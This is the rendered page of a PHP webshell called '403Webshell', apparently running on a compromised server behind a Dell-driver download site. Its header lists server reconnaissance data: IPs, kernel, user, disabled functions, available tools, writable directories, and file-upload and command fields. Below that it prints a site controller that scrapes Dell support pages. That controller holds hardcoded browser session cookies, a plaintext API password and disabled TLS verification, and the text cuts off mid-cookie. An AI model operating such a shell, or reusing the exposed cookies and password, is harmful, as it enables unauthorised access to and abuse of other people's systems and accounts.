403Webshell
Server IP : 172.67.179.166  /  Your IP : 172.70.223.131
Web Server : nginx/1.20.2
System : Linux 172-104-110-161.ip.linodeusercontent.com 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : www ( 1000)
PHP Version : 8.1.9
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/data.dell-driver-download.com/framework-4.1.3/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/data.dell-driver-download.com/framework-4.1.3/app/Controllers/Home.php
<?php

namespace App\Controllers;

class Home extends BaseController
{
	public function index()
	{
		return view('welcome_message');
	}
	
	public function getimage(){
	    $db = \Config\Database::connect();
	    $builder = $db->table('drivers');	
	    $builder->where('image','');
	    $res = $builder->get(1);
	    $data = $res->getResult();	  
	    $url = $data[0]->url;
	    $html = $this->getcurl2($url);
	    include( 'simple_html_dom.php' );
	    $html = str_get_html($html); 
	    $a = $html->find('img');
	    $image = $a[0]->src;
	    $h1 = $html->find('h1');
	    $title = $h1[0]->innertext;
   	    $builder = $db->table('drivers');
   	    $builder->where('driver_id',$data[0]->driver_id);
   	    if( empty($image) ){
   	        $image = '//i.dell.com/is/image/DellContent/content/dam/ss2/page-specific/dell-homepage/en/modules/advancing-sustainability-703x423-copy.png?fmt=jpg&wid=440&hei=268';
   	    }
        $res = $builder->update([
            'name'=>$title,
            'image'=>$image
            ]); 	    
	    print_r( $title );
	    echo '<meta http-equiv="refresh" content="1">';
	}
	
	public function model(){
	    $db = \Config\Database::connect();
	    $builder = $db->table('model');	
	    $res = $builder->get();
	    $data = $res->getResult();
	    foreach ( $data as $value ){
	        echo '<a href="/home/ser/'.$value->model_id.'/" >'.$value->name.'</a>';
	        echo '</br>';
	    }
	    //print_r( $data );
	}
	
// 	public function getName(){
// 	    $db = \Config\Database::connect();
// 	    $builder = $db->table('drivers');	
// 	    $builder->where('name','');
// 	    $res = $builder->get(1);	
// 	    $url = $res->getResult()[0]->url;
// 	    $data = $this->getcurl2( $url );
// 	    include( 'simple_html_dom.php' );
// 	    $html = str_get_html($data); 
// 	    $title = $html->find('h1');
// 	    print_r( $title );
// 	    //print_r( $title[0] );	    
// 	}
	
	public function ser($id){
	    $db = \Config\Database::connect();
	    $builder = $db->table('series');	
	    $builder->where('model_id',$id);
	    $res = $builder->get();	
	    foreach ( $res->getResult() as $value ){
	        echo '<a href="/home/driver/'.$value->Series_id.'/" >'.$value->name.'</a>';
	        echo '</br>';	        
	    }
	   // print_r( $res->getResult() );
	}
	
	private function getCatId($id){
	    $db = \Config\Database::connect();
	    $builder = $db->table('series');	
	    $builder->where('Series_id',$id);
	    $res = $builder->get();	  
	    $data = $res->getResult()[0]->name;
	    //获取wp
	    $db = \Config\Database::connect('wp');
	    $builder = $db->table('wp_terms');	
	    $builder->where('name',$data);
	    $res = $builder->get();	
	    if( empty($res->getResult()) ){
	        return 1;
	    }else{
	        return $res->getResult()[0]->term_id;
	    }
	}
	
	public function driver($id){
	    $this->cachePage(1000000000);
	    $db = \Config\Database::connect();
	    $builder = $db->table('drivers');	
	    $builder->where('Series_id',$id);
	    $res = $builder->get();	
	    $cat_id = $this->getCatId($id);
	    //print_r( $cat_id );
	    foreach ( $res->getResult() as $value ){
	        echo '<a href="/home/drivers/'.$value->driver_id.'/" >'.$value->name.'</a>';
	        echo '    <a "target="_blank" href="https://dell-driver-download.com/api.php?mima=xx123456pp&title='.$value->name.'&id='.$value->driver_id.'&cat_id='.$cat_id.'">add</a>';
	        echo '</br>';	        
	    }	    
	}
	
	public function getdriverinfo($id){
	    $db = \Config\Database::connect();
	    $builder = $db->table('drivers');	
	    $builder->where('driver_id',$id);
	    $res = $builder->get();	
	    return $res->getResult()[0];
	}	
	
	public function drivers($id){
	    $this->cachePage(1000000000);
	    $db = \Config\Database::connect();
	    $builder = $db->table('driver');	
	    $builder->where('driver_id',$id);
	    $res = $builder->get();	
	    $drivers = [];
	    $driverinfo = $this->getdriverinfo($id);
	    //print_r( $res->getResult()[2]->json );
	    foreach ( $res->getResult() as $value ){
	       // echo '<a href="/home/drivers/'.$value->driver_id.'/" >'.$value->url.'</a>';
	       // echo '</br>';	   
	       //print_r( $value->json );
	       $json = json_decode( $value->json );
	       foreach ( $json->DriverListData as $j ){
	           //print_r( $j );
	           $drivers[$j->CatName][] = [
	               'title'=>$j->DriverName,
	               'version'=>$j->DellVer,
	               'url'=>$j->FileFrmtInfo->HttpFileLocation,
	               'os'=>$value->os,
	               'filename'=>$j->FileFrmtInfo->FileName
	               ];
	       }
	    }	  
   	    $data = array(
	        'name'=>$driverinfo->name,
	        'image'=>$driverinfo->image,
	        'drivers'=>$drivers
	        );
	    
	    echo view('drivers', $data);	    
	    //print_r( json_encode($drivers) );
	}
		
	
	public function getdrivers(){
	    $db = \Config\Database::connect();
	    $builder = $db->table('drivers');
	    $builder->where( 'pool',1 );
	    $res = $builder->get(1);	    
	    $data = $res->getResult()[0];
	    $key = str_replace('https://www.dell.com/support/home/en-us/product-support/product/','',$data->url);
	    //print_r( $key );
	    $u = 'https://www.dell.com/support/driver/en-us/ips/driverlist/product/</key>';
	    $url = 'https://www.dell.com/support/driver/en-us/ips/api/driverlist/fetchdriversbyproduct?productcode=</key>&oscode=</os>';
	    $u = str_replace('</key>',$key, $u);
	    print_r( $u );
	    $d = $this->getcurl2( $u );
	    include( 'simple_html_dom.php' );
	    $html = str_get_html($d); 
	    $os = $html->find('select[id="operating-system"]');
	    print_r( $os[0]->innertext );
	    if( empty($os[0]->innertext) ){
       	    $builder = $db->table('drivers');
       	    $builder->where('driver_id',$data->driver_id);
	        $res = $builder->update([
	            'pool'=>0
	            ]);   	        
	    }else{
    	    $o = str_get_html($os[0]->innertext);
    	    $getos = $o->find('option');
    	    foreach ( $getos as $value ){
    	        $driveros =  $value->value;
    	        $drivername = $value->innertext;
    	        $geturl = str_replace('</key>',$key,$url);
    	        $geturl = str_replace('</os>',$value->value,$geturl);
    	        $drivers = $this->getcurl2( $geturl );
   	            $insert = array(
	                'driver_id'=>$data->driver_id,
	                'os'=>$drivername,
	                'json'=>$drivers
	                );
           	    $builder = $db->table('driver');
	            $res = $builder->insert($insert);
    	        print_r( $drivers );
           	    $builder = $db->table('drivers');
           	    $builder->where('driver_id',$data->driver_id);
    	        $res = $builder->update([
    	            'pool'=>0
    	            ]); 
    	    }	        
	    }
        echo '<meta http-equiv="refresh" content="1">';
	    //print_r( $os[0]->innertext );
	   // $data = $this->getcurl2( $url );
	   // print_r( $d );
	}

	public function getall2(){
	    $url = "https://www.dell.com/support/components/productselector/allproducts?category=</url>&country=us&language=en&region=us&segment=bsd&customerset=04&appName=home&version=v2&_=1647438816930";
	    include( 'simple_html_dom.php' );
	    //$html = str_get_html($data); 
	    $db = \Config\Database::connect();
	    $builder = $db->table('series2');
	    $builder->where( 'pool',0 );
	    $res = $builder->get(1);
	    //print_r( $res->getResult() );
	    foreach ( $res->getResult() as $value ){
	        $u = str_replace('</url>',$value->url,$url );
	        $data = $this->getcurl( $u );
	        $html = str_get_html($data); 
	        $links =  $html->find('div[class="card list-group custom-border py-3"]');
	        //print_r( $links[1]->innertext );
	        //echo '</br>';
	        $ahtml = str_get_html( $links[3]->innertext );
	        //$ahtml->find('a');
	        foreach ( $ahtml->find('a') as $val ){
	            //print_r( $val->{'data-descr'} );
	           // if( empty( $val->{'data-vmpath'} ) ){
    	       //     $d = array(
    	       //         'Series_id'=>$value->Series_id,
    	       //         'name'=>$val->plaintext,
    	       //         'url'=>$val->href
    	       //         );
            //   	//     $builder = $db->table('drivers');
    	       //    // $res = $builder->insert($d);
	           //     print_r( $d );
	           //     print_r( 'xx');
	           // }else{
    	       //     $d = array(
    	       //         'Series_id'=>$value->Series_id,
    	       //         'name'=>$val->{'data-descr'},
    	       //         'url'=>$val->{'data-vmpath'}
    	       //         );
            //   	//     $builder = $db->table('series2');
        	   //    // $res = $builder->insert($d);
        	   //     print_r( $d );	                
	           // }
   	            $d = array(
	                'Series_id'=>$value->Series_id,
	                'name'=>$val->plaintext,
	                'url'=>$val->href
	                );
           	    $builder = $db->table('drivers');
	            //$res = $builder->insert($d);
                print_r( $d );
                print_r( 'xx');
	            //print_r( $d ); 
	            echo '</br>';
	            $ahtml->clear();
	        }
       	    $builder = $db->table('series2');
       	    $builder->where('ID',$value->ID);
	       // $res = $builder->update([
	       //     'pool'=>1
	       //     ]);    	    
	        echo '</br>';
	       // foreach ( $links[1]->innertext as $link ){
        //         print_r( $link );
	       // }
	       // print_r( $data );
	       //echo '<meta http-equiv="refresh" content="1">';
	        $html->clear();
	    }
	}	

	
	public function getall(){
	    $url = "https://www.dell.com/support/components/productselector/allproducts?category=</url>&country=us&language=en&region=us&segment=bsd&customerset=04&appName=home&version=v2&_=1647311164221";
	    include( 'simple_html_dom.php' );
	    //$html = str_get_html($data); 
	    $db = \Config\Database::connect();
	    $builder = $db->table('series');
	    $builder->where( 'pool',0 );
	    $res = $builder->get(1);
	    //print_r( $res->getResult() );
	    foreach ( $res->getResult() as $value ){
	        $u = str_replace('</url>',$value->url,$url );
	        $data = $this->getcurl( $u );
	        $html = str_get_html($data); 
	        $links =  $html->find('div[class="card list-group custom-border py-3"]');
	        //print_r( $links[1]->innertext );
	        //echo '</br>';
	        $ahtml = str_get_html( $links[2]->innertext );
	        //$ahtml->find('a');
	        foreach ( $ahtml->find('a') as $val ){
	            //print_r( $val->{'data-descr'} );
	            if( empty( $val->{'data-vmpath'} ) ){
    	            $d = array(
    	                'Series_id'=>$value->Series_id,
    	                'name'=>$val->plaintext,
    	                'url'=>$val->href
    	                );
               	    $builder = $db->table('drivers');
    	            $res = $builder->insert($d);
	                print_r( $d );
	            }else{
    	            $d = array(
    	                'Series_id'=>$value->Series_id,
    	                'name'=>$val->{'data-descr'},
    	                'url'=>$val->{'data-vmpath'}
    	                );
               	    $builder = $db->table('series2');
        	        $res = $builder->insert($d);
        	        print_r( $d );	                
	            }
	            //print_r( $d ); 
	            echo '</br>';
	            $ahtml->clear();
	        }
       	    $builder = $db->table('series');
       	    $builder->where('Series_id',$value->Series_id);
	        $res = $builder->update([
	            'pool'=>1
	            ]);    	    
	        echo '</br>';
	       // foreach ( $links[1]->innertext as $link ){
        //         print_r( $link );
	       // }
	       // print_r( $data );
	        $html->clear();
	    }
	}	


	public function getser(){
	    $url = "https://www.dell.com/support/components/productselector/allproducts?category=</url>&country=us&language=en&region=us&segment=bsd&customerset=04&appName=home&version=v2&_=1647311164198";
	    include( 'simple_html_dom.php' );
	    //$html = str_get_html($data); 
	    $db = \Config\Database::connect();
	    $builder = $db->table('model');
	    $res = $builder->get();
	    //print_r( $res->getResult() );
	    foreach ( $res->getResult() as $value ){
	        $u = str_replace('</url>',$value->url,$url );
	        $data = $this->getcurl( $u );
	        $html = str_get_html($data); 
	        $links =  $html->find('div[class="card list-group custom-border py-3"]');
	        //print_r( $links[1]->innertext );
	        //echo '</br>';
	        $ahtml = str_get_html( $links[1]->innertext );
	        //$ahtml->find('a');
	        foreach ( $ahtml->find('a') as $val ){
	            print_r( $val->{'data-descr'} );
	            $d = array(
	                'model_id'=>$value->model_id,
	                'name'=>$val->{'data-descr'},
	                'url'=>$val->{'data-vmpath'}
	                );
           	    $builder = $db->table('series');
    	       // $res = $builder->insert($d);
	            print_r( $d ); 
	            echo '</br>';
	            $ahtml->clear();
	        }
	        echo '</br>';
	       // foreach ( $links[1]->innertext as $link ){
        //         print_r( $link );
	       // }
	       // print_r( $data );
	        $html->clear();
	    }
	}	

	private function getcurl2($url){
        $agent= 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)';
        $ck = 's_ecid=MCMID|49088682060065843053972255070633026423; _cls_v=98576669-69ec-43d6-8a67-21d6ed62a6dc; dais-c=9dphbC5OzAb9/BqDJj8tcHELxceWmsLWkr/ojyu2Vu/tBLRxEjmccgRKAUKJB4XKrT3qQp6/QTPYZKFokoS/fw==; DellCEMSession=223FF2DBD23FC6BEB09BD93B39B49855; check=true; AMCVS_4DD80861515CAB990A490D45@AdobeOrg=1; rumCki=false; cidlid=::; sessionTime=Sun Mar 13 2022 20:12:28 GMT+0800 (中国标准时间); s_cc=true; __privaci_cookie_consent_uuid=c9a54718-f0dc-4d0f-b523-b6a8818281f6:24; __privaci_cookie_consent_generated=c9a54718-f0dc-4d0f-b523-b6a8818281f6:24; ooc-country-code=us; eSupId=SID=a4cdb7ad-f540-4a30-91a1-67ebac4a106d&ld=20220913; VOCAAS_STICKY_SESSION=6978D22C974CF9A3F5223C562FA40574; __privaci_cookie_consents={"consents":{"3":1,"139":1,"140":1},"location":"ZJ#CN","lang":"en"}; dell_cmp_consent={"s":1,"m":1,"e":1}; _cls_s=603ce1eb-2cc0-4a33-81d2-67e50c261057:1; ipe_s=497ff35d-c7bb-a4f9-7518-36bba1d14a0e; IPE120994=IPE120994; adcloud={"_les_v":"y,dell.com,1647247775"}; bm_sz=173125BCA7D7FC29F9B31A5F04E0908A~YAAQf+Bb2jYrXYl/AQAADwJgiw9JBGfWmeuIvDqn1vBYBAo/m2MOmMNV141yywiAMKNaJ+/g/m4JDutc4EFW8p2QMhoIG7L2VCReH+fc5h4SDjoJ99SCQj7Rpx8Kzs54nvSbAxZoFh/LIdYK6XcpeV/U6tKur3e6nJuKcaR930sC0th8OYJcZCrOCqJWlKh/96tWyN8+cTJ03ySd4ldgYCbZltTok9JcrW5FJHsfyuJCsQPQluk6BTmtwcsEq9dJyoNDyqCx90rbb/5um8Z7IxeXUngEhR/BrR0dNDyjJxBF~4407861~3159619; AMCV_4DD80861515CAB990A490D45@AdobeOrg=1585540135|MCMID|49088682060065843053972255070633026423|MCIDTS|19067|MCAID|NONE|MCOPTOUT-1647180746s|NONE|vVersion|4.4.0; bm_mi=377755213D5B5A9AF7DC596EF452D04A~SJ6cfaZ3RwBTwueD03u2ci+kH9AtC4j+Q3Y9yNdY4uIzPmFm1w+F1THOTATKVgMR/3324LpPxiO3/csYdqC2v8Ty6l0QT4UaCq8kGlumOqSBet9AkeClfAocuWWKto0/ExyLL4LsZ50gJY+GF+iNdmZ905LBb6GC23/f+jQLzaOZWqTybJmWLmMHev7eYDHcFCWiGfR79TU+2Eysef0XEpKk6lCIAG6qEI0hgGXo492XWQOrOblqCFJQ3so32M2lmECboSaq5N5pvwmHb02amJD798QlG2ubYW4LmUJrG1FA6s5mRzzeGo4mAkjE90pb; _cs_mk=0.4125593597931647_1647310799996; bm_sv=5C50CB35F89B5F92DFED9CD78E1F4CAA~W+sq64G7bjO6Uc67PrpPGq66QOAVXSKKjPRNIeTFviZIP5rRPMAmuLQsgQILowumQrBipScQdN5P4DOgyPp0sluGWqDdSRCN28s2ylWW0+dJg9ktZwv7ChY1CPbVxT2dn9yh7ksCxrQ0EXG5Gp4Pmg==; s_dl=1; s_channelstack=[["Direct%20Load","1647173548521"],["Direct%20Load","1647179221025"],["Direct%20Load","1647245974869"],["Referrers","1647310800612"]]; s_hwp=jpcorp1||null||15:3:2022:10:20||N||N||null||NaN||null||null||N||null||null||null; s_vnc365=1678846800615&vn=10; s_ivc=true; mbox=session#3ec6f54bc42d492eacca414edf200a85#1647312662; _cs_c=0; _cs_id=2cd3caf5-9065-aa08-8fe8-6396e3eca387.1647310802.1.1647310802.1647310802.1602211317.1681474802801; _cs_s=1.T.0.1647312602804; AKA_A2=A; OLRProduct=OLRProduct=|alienware-13; ak_bmsc=7FC631D95AC8BEF9431493821FE7FE89~000000000000000000000000000000~YAAQleBb2hH5iWh/AQAAe/Jgiw99zVd3v1GhAnfCC1jf0/8hNgOG/OZDiIoOe7nUgyI+FZBHAE5OpDzjsFBTHUm6TkETy+hJ6SDNw/6uP4jIajBG4GBCVd1yDuHgiSUtNK2NvpyMPMB7gBPSSQJ52A2JybXyc5KWfOkUWI4XT0nJrkUWaZwc1tR8c9NqTYh+ZvtAUhzwCdE0NaM9MLLkpB70AXN8vINvlc6CMUXY+QBmgnbINam0ZXA0rPvXS6gKaAnVZn6z7oKyRUaNaDIY4qYwdAdJy8tyNNfuUTn8/JPVBNvJzdIX/fIiKmcUtFexQ7AIOsQUHoyUNHSV49CX0Fs/TITFXR22r4M9CxzP7FNxa2n6ceFvbtz4ai/ItMlsSoQo8UD3E9+9NHzqBfhzy3LBREWCE7m9usB6mzRgg9UK08lWJV9gkbnUOFlIC9hHscAQNSQgjKDiZtzrqUYqhlOt5FDg+8RjYgwI/1i51ww77RajtZjzIsQpuSExjSwb5l4JRkOlR4G3HCfW4TRypze+lZjMzkMbQA7LF5r1Z/Uu+ZsDPRPMtpSbw2jKE+Uw+qptfd+Wma4FQDQmKUWr5lNXLfg70mdjXGZsQVgK9LfOeAa/4IPbFHR90UMsRNlm9QnNGDQ=; ipe.184.pageViewedDay=74; s_ips=879; lwp=c=us&l=en&cs=04&s=bsd; s_c49=c=us&l=en&s=bsd&cs=04; gpv_pn=us|en|bsd|04|esupport-home|home|index; s_depth=5; VOCAAS_SESSION_ID=97DAA47625AC878646BE53A3DBCF24F1; ipe.184.pageViewedCount=5; ipe_184_fov={"numberOfVisits":1,"sessionId":"497ff35d-c7bb-a4f9-7518-36bba1d14a0e","expiry":"2022-04-12T13:47:19.783Z","lastVisit":"2022-03-15T02:26:05.206Z"}; akavpau_maintenance_vp=1647311466~id=7648f3dda24e33e2aa25b851a6643a81; _abck=AADF48D5267C48BAAFF86DF49FE8FE95~0~YAAQbOBb2gVHhFh/AQAAt5xliwcKdBn6GNIIUCVROucdEFN377k8MNqVpROKIaGTfll+8w92DIPR6VRQAwp0j35zPoUSTFaqJzyukedLer5w47VktgQ9YqH8ttF24h2Mk6mJP/F8NW4wMK98X7X/5owRIvey3iO8+/XnAIyfGlmfJUXjXcH95yBINMBZ2HoP7HNE9DCPZxldwjaCM8pOhSNYhC4dOJnvZHPsLOlKzsX1xA+k5bl4VnV4f+85moGdBHoPZRLD9FCt4gb3JbPsIKf833IQ0NuiJltUAtTZO+MWzoHJmBS8t8qusb6Z7O3Vab0yES/7+pkydGY6LDw91XtqzZ8mvIdcwkAZUU+xlHP1rDtXETwh0cCvR8N5PMywvJS9k32LvTQcvME5ZfVNBml/ZWzNsQ==~-1~-1~-1; s_sq=dellglobalonlinemaster=%26pid%3Dus%257Cen%257Cbsd%257C04%257Cesupport-home%257Chome%257Cindex%26pidt%3D1%26oid%3Dfunction%2528%2529%257B%2524%2528%2527%2523breadCrumpAllProducts%2527%2529.click%2528%2529%253B%257D%26oidt%3D2%26ot%3DBUTTON; s_tp=4822; s_ppv=us%7Cen%7Cbsd%7C04%7Cesupport-home%7Chome%7Cindex,18,18,879,1,5';
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_VERBOSE, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_REFERER, 'https://www.dell.com');
        curl_setopt($ch, CURLOPT_USERAGENT, $agent);
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_COOKIE,$ck);
        curl_setopt($ch,CURLOPT_HTTPHEADER,array("X-Requested-With: XMLHttpRequest"));
        $result=curl_exec($ch);
        curl_close($ch);
        return $result;
	}
	
	
	private function getcurl($url){
        $agent= 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)';
        $ck = 's_ecid=MCMID|49088682060065843053972255070633026423; _cls_v=98576669-69ec-43d6-8a67-21d6ed62a6dc; dais-c=9dphbC5OzAb9/BqDJj8tcHELxceWmsLWkr/ojyu2Vu/tBLRxEjmccgRKAUKJB4XKrT3qQp6/QTPYZKFokoS/fw==; DellCEMSession=223FF2DBD23FC6BEB09BD93B39B49855; check=true; AMCVS_4DD80861515CAB990A490D45@AdobeOrg=1; rumCki=false; cidlid=::; sessionTime=Sun Mar 13 2022 20:12:28 GMT+0800 (中国标准时间); s_cc=true; __privaci_cookie_consent_uuid=c9a54718-f0dc-4d0f-b523-b6a8818281f6:24; __privaci_cookie_consent_generated=c9a54718-f0dc-4d0f-b523-b6a8818281f6:24; ooc-country-code=us; eSupId=SID=a4cdb7ad-f540-4a30-91a1-67ebac4a106d&ld=20220913; VOCAAS_STICKY_SESSION=6978D22C974CF9A3F5223C562FA40574; __privaci_cookie_consents={"consents":{"3":1,"139":1,"140":1},"location":"ZJ#CN","lang":"en"}; dell_cmp_consent={"s":1,"m":1,"e":1}; _cls_s=603ce1eb-2cc0-4a33-81d2-67e50c261057:1; ipe_s=497ff35d-c7bb-a4f9-7518-36bba1d14a0e; IPE120994=IPE120994; adcloud={"_les_v":"y,dell.com,1647247775"}; bm_sz=173125BCA7D7FC29F9B31A5F04E0908A~YAAQf+Bb2jYrXYl/AQAADwJgiw9JBGfWmeuIvDqn1vBYBAo/m2MOmMNV141yywiAMKNaJ+/g/m4JDutc4EFW8p2QMhoIG7L2VCReH+fc5h4SDjoJ99SCQj7Rpx8Kzs54nvSbAxZoFh/LIdYK6XcpeV/U6tKur3e6nJuKcaR930sC0th8OYJcZCrOCqJWlKh/96tWyN8+cTJ03ySd4ldgYCbZltTok9JcrW5FJHsfyuJCsQPQluk6BTmtwcsEq9dJyoNDyqCx90rbb/5um8Z7IxeXUngEhR/BrR0dNDyjJxBF~4407861~3159619; AMCV_4DD80861515CAB990A490D45@AdobeOrg=1585540135|MCMID|49088682060065843053972255070633026423|MCIDTS|19067|MCAID|NONE|MCOPTOUT-1647180746s|NONE|vVersion|4.4.0; bm_mi=377755213D5B5A9AF7DC596EF452D04A~SJ6cfaZ3RwBTwueD03u2ci+kH9AtC4j+Q3Y9yNdY4uIzPmFm1w+F1THOTATKVgMR/3324LpPxiO3/csYdqC2v8Ty6l0QT4UaCq8kGlumOqSBet9AkeClfAocuWWKto0/ExyLL4LsZ50gJY+GF+iNdmZ905LBb6GC23/f+jQLzaOZWqTybJmWLmMHev7eYDHcFCWiGfR79TU+2Eysef0XEpKk6lCIAG6qEI0hgGXo492XWQOrOblqCFJQ3so32M2lmECboSaq5N5pvwmHb02amJD798QlG2ubYW4LmUJrG1FA6s5mRzzeGo4mAkjE90pb; _cs_mk=0.4125593597931647_1647310799996; bm_sv=5C50CB35F89B5F92DFED9CD78E1F4CAA~W+sq64G7bjO6Uc67PrpPGq66QOAVXSKKjPRNIeTFviZIP5rRPMAmuLQsgQILowumQrBipScQdN5P4DOgyPp0sluGWqDdSRCN28s2ylWW0+dJg9ktZwv7ChY1CPbVxT2dn9yh7ksCxrQ0EXG5Gp4Pmg==; s_dl=1; s_channelstack=[["Direct%20Load","1647173548521"],["Direct%20Load","1647179221025"],["Direct%20Load","1647245974869"],["Referrers","1647310800612"]]; s_hwp=jpcorp1||null||15:3:2022:10:20||N||N||null||NaN||null||null||N||null||null||null; s_vnc365=1678846800615&vn=10; s_ivc=true; mbox=session#3ec6f54bc42d492eacca414edf200a85#1647312662; _cs_c=0; _cs_id=2cd3caf5-9065-aa08-8fe8-6396e3eca387.1647310802.1.1647310802.1647310802.1602211317.1681474802801; _cs_s=1.T.0.1647312602804; AKA_A2=A; OLRProduct=OLRProduct=|alienware-13; ak_bmsc=7FC631D95AC8BEF9431493821FE7FE89~000000000000000000000000000000~YAAQleBb2hH5iWh/AQAAe/Jgiw99zVd3v1GhAnfCC1jf0/8hNgOG/OZDiIoOe7nUgyI+FZBHAE5OpDzjsFBTHUm6TkETy+hJ6SDNw/6uP4jIajBG4GBCVd1yDuHgiSUtNK2NvpyMPMB7gBPSSQJ52A2JybXyc5KWfOkUWI4XT0nJrkUWaZwc1tR8c9NqTYh+ZvtAUhzwCdE0NaM9MLLkpB70AXN8vINvlc6CMUXY+QBmgnbINam0ZXA0rPvXS6gKaAnVZn6z7oKyRUaNaDIY4qYwdAdJy8tyNNfuUTn8/JPVBNvJzdIX/fIiKmcUtFexQ7AIOsQUHoyUNHSV49CX0Fs/TITFXR22r4M9CxzP7FNxa2n6ceFvbtz4ai/ItMlsSoQo8UD3E9+9NHzqBfhzy3LBREWCE7m9usB6mzRgg9UK08lWJV9gkbnUOFlIC9hHscAQNSQgjKDiZtzrqUYqhlOt5FDg+8RjYgwI/1i51ww77RajtZjzIsQpuSExjSwb5l4JRkOlR4G3HCfW4TRypze+lZjMzkMbQA7LF5r1Z/Uu+ZsDPRPMtpSbw2jKE+Uw+qptfd+Wma4FQDQmKUWr5lNXLfg70mdjXGZsQVgK9LfOeAa/4IPbFHR90UMsRNlm9QnNGDQ=; ipe.184.pageViewedDay=74; s_ips=879; lwp=c=us&l=en&cs=04&s=bsd; s_c49=c=us&l=en&s=bsd&cs=04; gpv_pn=us|en|bsd|04|esupport-home|home|index; s_depth=5; VOCAAS_SESSION_ID=97DAA47625AC878646BE53A3DBCF24F1; ipe.184.pageViewedCount=5; ipe_184_fov={"numberOfVisits":1,"sessionId":"497ff35d-c7bb-a4f9-7518-36bba1d14a0e","expiry":"2022-04-12T13:47:19.783Z","lastVisit":"2022-03-15T02:26:05.206Z"}; akavpau_maintenance_vp=1647311466~id=7648f3dda24e33e2aa25b851a6643a81; _abck=AADF48D5267C48BAAFF86DF49FE8FE95~0~YAAQbOBb2gVHhFh/AQAAt5xliwcKdBn6GNIIUCVROucdEFN377k8MNqVpROKIaGTfll+8w92DIPR6VRQAwp0j35zPoUSTFaqJzyukedLer5w47VktgQ9YqH8ttF24h2Mk6mJP/F8NW4wMK98X7X/5owRIvey3iO8+/XnAIyfGlmfJUXjXcH95yBINMBZ2HoP7HNE9DCPZxldwjaCM8pOhSNYhC4dOJnvZHPsLOlKzsX1xA+k5bl4VnV4f+85moGdBHoPZRLD9FCt4gb3JbPsIKf833IQ0NuiJltUAtTZO+MWzoHJmBS8t8qusb6Z7O3Vab0yES/7+pkydGY6LDw91XtqzZ8mvIdcwkAZUU+xlHP1rDtXETwh0cCvR8N5PMywvJS9k32LvTQcvME5ZfVNBml/ZWzNsQ==~-1~-1~-1; s_sq=dellglobalonlinemaster=%26pid%3Dus%257Cen%257Cbsd%257C04%257Cesupport-home%257Chome%257Cindex%26pidt%3D1%26oid%3Dfunction%2528%2529%257B%2524%2528%2527%2523breadCrumpAllProducts%2527%2529.click%2528%2529%253B%257D%26oidt%3D2%26ot%3DBUTTON; s_tp=4822; s_ppv=us%7Cen%7Cbsd%7C04%7Cesupport-home%7Chome%7Cindex,18,18,879,1,5';
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_VERBOSE, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_REFERER, 'https://www.dell.com');
        curl_setopt($ch, CURLOPT_USERAGENT, $agent);
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_COOKIE,$ck);
        $result=curl_exec($ch);
        curl_close($ch);
        return $result;
	}
	
	
	public function getmodel(){
	    $url = "https://www.dell.com/support/components/productselector/allproducts?category=all-products/esuprt_computers&country=us&language=en&region=us&segment=bsd&customerset=04&appName=home&version=v2&_=1647311164208";
	    include( 'simple_html_dom.php' );
	    //$html = str_get_html($data); 
        $agent= 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)';
        $ck = 's_ecid=MCMID|49088682060065843053972255070633026423; _cls_v=98576669-69ec-43d6-8a67-21d6ed62a6dc; dais-c=9dphbC5OzAb9/BqDJj8tcHELxceWmsLWkr/ojyu2Vu/tBLRxEjmccgRKAUKJB4XKrT3qQp6/QTPYZKFokoS/fw==; DellCEMSession=223FF2DBD23FC6BEB09BD93B39B49855; check=true; AMCVS_4DD80861515CAB990A490D45@AdobeOrg=1; rumCki=false; cidlid=::; sessionTime=Sun Mar 13 2022 20:12:28 GMT+0800 (中国标准时间); s_cc=true; __privaci_cookie_consent_uuid=c9a54718-f0dc-4d0f-b523-b6a8818281f6:24; __privaci_cookie_consent_generated=c9a54718-f0dc-4d0f-b523-b6a8818281f6:24; ooc-country-code=us; eSupId=SID=a4cdb7ad-f540-4a30-91a1-67ebac4a106d&ld=20220913; VOCAAS_STICKY_SESSION=6978D22C974CF9A3F5223C562FA40574; __privaci_cookie_consents={"consents":{"3":1,"139":1,"140":1},"location":"ZJ#CN","lang":"en"}; dell_cmp_consent={"s":1,"m":1,"e":1}; _cls_s=603ce1eb-2cc0-4a33-81d2-67e50c261057:1; ipe_s=497ff35d-c7bb-a4f9-7518-36bba1d14a0e; IPE120994=IPE120994; adcloud={"_les_v":"y,dell.com,1647247775"}; 